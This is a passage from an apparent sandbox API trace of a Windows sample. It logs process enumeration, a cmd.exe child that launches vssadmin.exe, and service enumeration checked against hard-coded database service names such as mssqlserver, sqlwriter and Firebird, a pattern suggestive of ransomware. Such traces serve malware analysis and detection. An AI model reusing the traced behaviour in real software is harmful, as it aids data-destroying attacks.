th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0215.361] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0215.361] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.361] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0215.362] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0215.362] lstrlenW (lpString="entering.exe") returned 12 [0215.362] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0215.363] lstrlenW (lpString="literally.exe") returned 13 [0215.363] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0215.364] lstrlenW (lpString="prep.exe") returned 8 [0215.364] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0215.364] lstrlenW (lpString="homeless.exe") returned 12 [0215.365] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0215.365] lstrlenW (lpString="tips.exe") returned 8 [0215.365] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0215.366] lstrlenW (lpString="rhode_cow.exe") returned 13 [0215.366] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0215.367] lstrlenW (lpString="discount.exe") returned 12 [0215.367] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0215.367] lstrlenW (lpString="littleclosest.exe") returned 17 [0215.367] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0215.368] lstrlenW (lpString="compact.exe") returned 11 [0215.368] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0215.369] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0215.369] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0215.370] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0215.370] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0215.370] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0215.370] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0215.371] lstrlenW (lpString="vincentkills.exe") returned 16 [0215.371] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0215.372] lstrlenW (lpString="armstrong.exe") returned 13 [0215.372] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0215.403] lstrlenW (lpString="superb_guilty.exe") returned 17 [0215.404] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0215.405] lstrlenW (lpString="conditional employer.exe") returned 24 [0215.405] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0215.406] lstrlenW (lpString="middle shown.exe") returned 16 [0215.406] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0215.407] lstrlenW (lpString="forced_online.exe") returned 17 [0215.407] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0215.408] lstrlenW (lpString="knitting.exe") returned 12 [0215.408] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0215.408] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0215.408] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0215.409] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0215.409] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0215.410] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0215.411] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.412] lstrlenW (lpString="svchost.exe") returned 11 [0215.412] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0215.413] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0215.413] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0215.413] lstrlenW (lpString="conhost.exe") returned 11 [0215.414] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0215.414] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0215.414] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.415] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0215.415] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0215.416] lstrlenW (lpString="WMIADAP.exe") returned 11 [0215.416] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0215.417] lstrlenW (lpString="11.exe") returned 6 [0215.417] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0215.418] lstrlenW (lpString="cmd.exe") returned 7 [0215.418] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0215.419] lstrlenW (lpString="conhost.exe") returned 11 [0215.419] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0215.420] lstrlenW (lpString="vssadmin.exe") returned 12 [0215.420] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0215.421] CloseHandle (hObject=0x338) returned 1 [0215.421] Sleep (dwMilliseconds=0x1f4) [0217.342] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889a48 [0217.342] EnumServicesStatusExW (in: hSCManager=0x889a48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0217.342] GetLastError () returned 0xea [0217.342] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0217.342] EnumServicesStatusExW (in: hSCManager=0x889a48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0217.343] CloseServiceHandle (hSCObject=0x889a48) returned 1 [0217.343] lstrlenW (lpString="Appinfo") returned 7 [0217.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0217.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0217.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0217.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0217.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0217.343] lstrlenW (lpString="AppXSvc") returned 7 [0217.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0217.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0217.344] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0217.344] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0217.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0217.344] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0217.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0217.344] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0217.344] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0217.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0217.344] lstrlenW (lpString="Audiosrv") returned 8 [0217.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0217.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0217.344] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0217.344] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0217.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0217.344] lstrlenW (lpString="BFE") returned 3 [0217.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0217.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0217.344] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0217.344] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0217.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0217.344] lstrlenW (lpString="BITS") returned 4 [0217.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0217.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0217.344] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0217.344] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0217.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0217.345] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0217.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0217.345] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0217.345] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0217.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0217.345] lstrlenW (lpString="CDPSvc") returned 6 [0217.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0217.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0217.345] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0217.345] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0217.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0217.345] lstrlenW (lpString="ClickToRunSvc") returned 13 [0217.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0217.345] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0217.345] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0217.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0217.345] lstrlenW (lpString="ClipSVC") returned 7 [0217.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0217.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0217.345] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0217.345] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0217.345] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0217.345] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0217.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.345] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0217.345] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0217.346] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0217.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0217.346] lstrlenW (lpString="CryptSvc") returned 8 [0217.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0217.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0217.346] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0217.346] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0217.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0217.346] lstrlenW (lpString="DcomLaunch") returned 10 [0217.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0217.346] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0217.346] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0217.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0217.346] lstrlenW (lpString="Dhcp") returned 4 [0217.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0217.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0217.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0217.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0217.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0217.346] lstrlenW (lpString="Dnscache") returned 8 [0217.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0217.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0217.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0217.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0217.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0217.346] lstrlenW (lpString="DoSvc") returned 5 [0217.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0217.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0217.347] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0217.347] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0217.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0217.347] lstrlenW (lpString="DPS") returned 3 [0217.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0217.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0217.347] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0217.347] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0217.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0217.347] lstrlenW (lpString="DusmSvc") returned 7 [0217.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0217.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0217.347] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0217.347] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0217.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0217.347] lstrlenW (lpString="EventLog") returned 8 [0217.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0217.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0217.347] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0217.347] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0217.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0217.347] lstrlenW (lpString="EventSystem") returned 11 [0217.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0217.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0217.347] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0217.347] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0217.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0217.348] lstrlenW (lpString="FontCache") returned 9 [0217.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0217.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0217.348] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0217.348] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0217.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0217.348] lstrlenW (lpString="gpsvc") returned 5 [0217.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0217.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0217.348] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0217.348] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0217.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0217.348] lstrlenW (lpString="iphlpsvc") returned 8 [0217.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0217.348] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0217.348] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0217.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0217.348] lstrlenW (lpString="KeyIso") returned 6 [0217.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0217.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0217.348] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0217.348] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0217.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0217.348] lstrlenW (lpString="LanmanServer") returned 12 [0217.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0217.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0217.349] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0217.349] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0217.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0217.349] lstrlenW (lpString="LanmanWorkstation") returned 17 [0217.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0217.349] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0217.349] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0217.349] lstrcmpiW 